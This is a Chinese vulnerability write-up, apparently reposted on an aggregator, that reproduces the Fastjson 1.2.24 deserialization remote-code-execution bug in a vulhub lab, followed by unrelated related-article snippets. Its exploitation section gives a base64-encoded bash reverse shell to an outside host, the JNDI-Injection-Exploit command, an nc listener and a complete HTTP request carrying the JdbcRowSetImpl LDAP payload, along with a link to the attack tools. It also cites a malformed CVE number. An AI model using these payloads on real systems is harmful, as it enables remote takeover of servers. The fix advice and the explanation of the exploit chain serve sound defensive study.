【漏洞库】Fastjson_1.2.24_rce

文章目录

    • 漏洞描述
    • 漏洞编号
    • 漏洞评级
    • 影响版本
    • 漏洞复现
      • - 利用工具
      • - 漏洞环境
      • - 漏洞扫描
      • - 漏洞验证
      • - 深度利用
      • - GetShell
      • - EXP 编写
    • 漏洞挖掘
      • - 指纹信息
    • 修复建议
      • - 漏洞修复
    • 漏洞原理

漏洞描述

Fastjson 存在反序列化远程代码执行漏洞,当应用或系统使用 Fastjson 对由用户可控的 JSON 字符串数据进行解析时,将可能导致远程代码执行的危害。

此漏洞为 17 年 Fastjson 1.2.24 版本反序列化漏洞的延伸利用,且无需依赖 autotype 的开启,这意味着默认配置下的 Fastjson 即会受到漏洞影响。

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

漏洞编号

CVE-2017-183494

漏洞评级

严重

影响版本

Fastjson 1.2.24 及之前的版本

漏洞复现

- 利用工具

链接:https://pan.baidu.com/s/1KEl1Z9Z3hWXKtENLxSE1wg?pwd=yuan 

- 漏洞环境

vulhub的靶场环境:vulhub/fastjson/1.2.24-rce

运行测试环境:

docker compose up -d

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出:

image-20230908172805694

- 漏洞扫描

手工主动测试,利用非法json格式来尝试获取回显:

如图我们可以看到,服务端返回报错内容中包含fastjson。

- 漏洞验证

借助DNSLog,让目标服务器访问,查看回显

image-20230908172442160

发现有回显,说明存在漏洞

image-20230908172408509

- 深度利用

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具开启JNDI服务:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "10.9.75.101"

以下命令的解释:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

这是一个在bash shell中执行的命令,它涉及到了bash、echo、base64和管道操作符。首先,{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}部分将字符串YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=作为参数传给echo命令,然后输出。接着,输出被传递给base64 -d进行解码,最后解码的结果再传递给bash -i进行执行。其中,{bash,-i}部分表示使用交互模式运行bash

其中的base64编码是通过这个网站进行编码的:https://ares-x.com/tools/runtime-exec/

编码过程如图:

image-20230908173611333

执行开启服务的命令之后,如图所示,表示已经开启了不同java版本的rmi服务与ldap服务:

image-20230908173808090

- GetShell

kali开启监听:

nc -lvvp 7777

发送请求包:

POST / HTTP/1.1
Host: 10.9.75.101:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 161{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://10.9.75.101:1389/zbcmsg","autoCommit":true}
}

image-20230908182322184

发送之后,可以看到kali已经获得反弹Shell

image-20230908182300176

- EXP 编写

这里直接使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-C 参数指定EXP(这里的EXP使用反弹shell),不过这个EXP需要通过base64编码:

bash -i >& /dev/tcp/10.9.75.101/7777 0>&1

通过网站在线编码:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

其中的base64编码是通过这个网站进行编码的:https://ares-x.com/tools/runtime-exec/

编码过程如图:

image-20230908173611333

将以上编码结果交给 -C参数,再使用 -A参数指定JNDI服务所处的服务器IP地址,执行jar包之后就会生成EXP并且将EXP放置JNDI服务中。

漏洞挖掘

  1. 找到发送JSON序列化数据的接口

  2. 判断是否使用fastjson,利用非法json格式来尝试获取回显:

    如图我们可以看到,服务端返回报错内容中包含fastjson。

  3. 通过BP插件检测该fastjson版本是否存在漏洞

    https://github.com/zilong3033/fastjsonScan
    

    下载插件导入BP

    抓包发送到插件进行检测:

    image-20230908171801509

    如下检测结果:存在漏洞

    image-20230908171700319

- 指纹信息

通过异常回显判断是否使用fastjson

修复建议

- 漏洞修复

  1. 升级Fastjson到最新版

  2. 使用安全产品过滤非法内容

    比如请求包中如果出现了JdbcRowSetImpl,就可以把他拦住。
    
  3. 更换其它序列化工具 Jackson/Gson

漏洞原理

不同版本的fastjson其实就是对一些输入的数据进行了校验等操作,绕过校验之后底层的利用链还是一样的。以下是fastjson反序列化漏洞的本质:

  1. 由于将JSON数据进行反序列化的时候会自动调用方法中的 get/set/is方法。

  2. 所以如果有方法在自动调用get/set/is方法的时候能访问远程资源,那么就可以借助这个方法完成利用。

  3. 很巧的是,JDK8中恰好有个JdbcRowSetlmpl类,里面就有 set方法 setAutoCommit,这个方法里面调用了connect方法,connect方法里面又具有JNDI的lookup方法,lookup方法里面传的恰好又是get方法,所以我们可以编写一个payload,利用@type指定要序列化的类,然后指定一些要反序列化的属性,即可完成利用链,接下来就看利用链中的源码:

  4. 利用JdbcRowSetlmpl类中的方法setAutoCommit()

    image-20230716150420480

  5. 进入connect方法:

    image-20230716150603925

    我们可以看到connect方法中具有JNDI的lookup方法,lookup是JNDI用于查找资源的方法,里面传的参数是dataSourceName,所以我们可以在payload的json字符串中传入这个参数dataSourceName,并且指定他的 值为我们的RMI服务或者其他服务,lookup就会到我们指定的服务中下载恶意代码并执行。

    为什么下载我们的EXP后会自动执行呢?

    因为我们的exp具有静态代码块或者构造方法,当程序创建实例的时候,就会自动触发构造方法或者静态代码块的内容。

    如下图中的NamingManager类,其中利用反射创建实例,然后就直接触发恶意代码中的静态代码块内容,从而让我们利用。

    image-20230715133800679

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/73381.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

十一、做高并发内存池项目过程中遇到的bug以及调试bug的方法和心得

十一、做高并发内存池项目过程中遇到的bug以及调试bug的方法和心得 第一个bug是内存问题,程序直接崩溃,问题出现在:GetOneSpan函数中的切分span的时候结尾的span1的next没有置空。 第二个bug是还小内存块给span的时候找不到小内存所属的spa…

使用Android原生制作毛玻璃效果图片

毛玻璃效果,也被称为模糊效果,是许多现代应用中流行的一种视觉效果。在 Android 中,我们可以通过多种方式实现该效果。本文将探讨如何使用 Android 原生的 Bitmap 类和 RenderScript 来实现毛玻璃效果。 1. 准备工作 首先,你需要…

BLE Mesh蓝牙mesh网多跳大数据量高带宽传输数据方法

1、BLE Mesh数据传输现状 BLE Mesh网络技术是低功耗蓝牙的一个进阶版,Mesh扩大了蓝牙在应用中的规模和范围,因为它同时支持超过三万个网络节点,可以跨越大型建筑物,不仅可以使得医疗健康应用更加方便快捷,还能监测像学…

IDea寻找冲突的依赖包

场景:boot项目运行时,提示log4j2依赖包冲突。 SLF4J: Class path contains multiple SLF4J bindings. SLF4J: Found binding in [jar:file:/D:/maven/repository/ch/qos/logback/logback-classic/1.2.3/logback-classic-1.2.3.jar!/org/slf4j/impl/Stati…

leetcode 97. 交错字符串

给定三个字符串 s1、s2、s3&#xff0c;请你帮忙验证 s3 是否是由 s1 和 s2 交错 组成的。 两个字符串 s 和 t 交错 的定义与过程如下&#xff0c;其中每个字符串都会被分割成若干 非空 子字符串&#xff1a; s s1 s2 … sn t t1 t2 … tm |n - m| < 1 交错 是 s1 …

吴恩达gradio课程:基于开源LLM(large language model)的聊天应用

文章目录 内容简介构建应用程序使用gradio在线体验接下来结合llm模型使用gradio构建一个完整的应用程序内容简介 Falcon 40B是当前最好的开源语言模型之一。使用text-generation库调用Falcon 40B的问答API接口。首先仅仅在代码中与模型聊天,后续通过Gradio构建聊天界面。Gradio…

HTML5Plus

之前写过在 vue 中使用 mui 框架的方法&#xff0c;因为用 vue 开发后打包 5App 会有一些问题&#xff0c;所以当时用到了&#xff0c;最近又一次开发移动端&#xff0c;不同的是这次使用的是 vue3 开发的&#xff0c;导致之前使用的 vue-awesome-mui 依赖不能使用了&#xff0…

【vue】vue2.x解决兼容IE8以上问题:

文章目录 一、vue-cli&#xff1a;【1】安装依赖&#xff1a;【2】main.js【3】配置vue.config.js文件chainWebpack方法中添加【4】babel.config.js【5】没有被编译的依赖报错 二、webpack-cli&#xff1a;【1】下载babel-polyfill包【2】在webpack.base.conf.js中修改【3】在.…

解决Pycharm的available packages为空的问题

解决Pycharm的available packages为空的问题: 链接地址

智能小区与无线网络技术

1&#xff0e;1 智能小区 智能小区指的是具有小区智能化系统的小区。所谓小区智能化系统&#xff0c;指的是在 现代计算机网络和通信技术的基础上&#xff0c;将传统的土木建筑技术与计算机技术、自动 控制技术、通信与信息处理技术、多媒体技术等先进技术相结合的自动化和综…

快速完成工信部APP备案流程_以阿里云APP备案为例

阿里云APP备案流程分为6步&#xff0c;APP备案成功后应用可以上架&#xff0c;登录阿里云账号填写APP信息&#xff0c;等待阿里云初审&#xff0c;初审通过后进行工信部短信核验&#xff0c;管局审核通过后APP即可备案成功&#xff0c;最后移动APP应用可以分发平台上架&#xf…

网络层重点协议-IP协议(结构分析)

IP协议数据报格式 一.4位版本号 用来表示IP协议的版本&#xff0c;现有的IP协议只有两个版本IPv4和IPv6 二.4位首部长度 IP协议数据报报头的长度 三.8位服务类型 3位优先权字段&#xff08;已经弃用&#xff09;&#xff0c;4位TOS字段&#xff0c;和1位保留 字段&#xff08;必…

企业的固定资产管理怎么操作

企业是一家拥有多台大型设备的工厂&#xff0c;这些设备需要定期进行保养和维护&#xff0c;以确保其正常运转。而企业内部员工由于专业知识和技能的不同&#xff0c;需要分工协作才能更好地完成各项工作任务。因此&#xff0c;在设备资产管理方面&#xff0c;如何实现高效、便…

SpringBoot常用注解

SpringBoot常用注解 SpringBoot摒弃了xml配置方式&#xff0c;改为了全注解驱动。 准备 创建SpringBoot模块 pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"ht…

使用JS实现一个简单的观察者模式(Observer)

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 手撸Observer⭐ 写在最后 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 记得点击上方或者右侧链接订阅本专栏哦 几何带你启航前端之旅 欢迎来到前端入门之旅&#xff01;这个专栏是为那些对Web开发感兴趣、刚刚踏入前端领…

【TypeScript】基础知识学习笔记

theme: channing-cyan TypeScript的特点&#xff1a; JavaScript的超集&#xff0c;满足所有的JS语法含有面向对象的静态类型 起步安装&#xff1a;1、npm i typescript -g 2、tsc 文件名 一、TS的基本数据类型 基本数据类型&#xff1a;number、boolean、string、undefin…

Unity之3D物理导航系统

一 介绍 Unity自带寻路(导航)系统是unity官方自带的一种寻路系统。我们可以通过它来制作简单的寻路&#xff0c;比如可以制作点击某个位置&#xff0c;让角色自动的绕开障碍走到目标点的效果&#xff0c;比如可以制作敌人AI&#xff0c;让它可以通过NavMesh绕开障碍追击我方单…

深入理解 JVM 之——字节码指令与执行引擎

更好的阅读体验 \huge{\color{red}{更好的阅读体验}} 更好的阅读体验 类文件结构 Write Once&#xff0c;Run Anywhere 对于 C 语言从程序到运行需要经过编译的过程&#xff0c;只有经历了编译后&#xff0c;我们所编写的代码才能够翻译为机器可以直接运行的二进制代码&#x…

【web开发】4、JavaScript与jQuery

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 一、JavaScript与jQuery二、JavaScript常用的基本功能1.插入位置2.注释3.变量4.数组5.滚动字符 三、jQuery常用的基本功能1.引入jQuery2.寻找标签3.val、text、appe…

笔记 | 排序算法实现(Python)

排序算法 一、选择排序二、合并/归并排序三、快速排序四、计数排序 排序类型时间复杂度选择排序(Selection Sort) O ( n 2 ) O(n^{2} ) O(n2)合并/归并排序&#xff08;Merge Sort&#xff09; O ( n log ⁡ n ) O(n\log n ) O(nlogn)快速排序(Quick Sort)平均情况 O ( n log ⁡…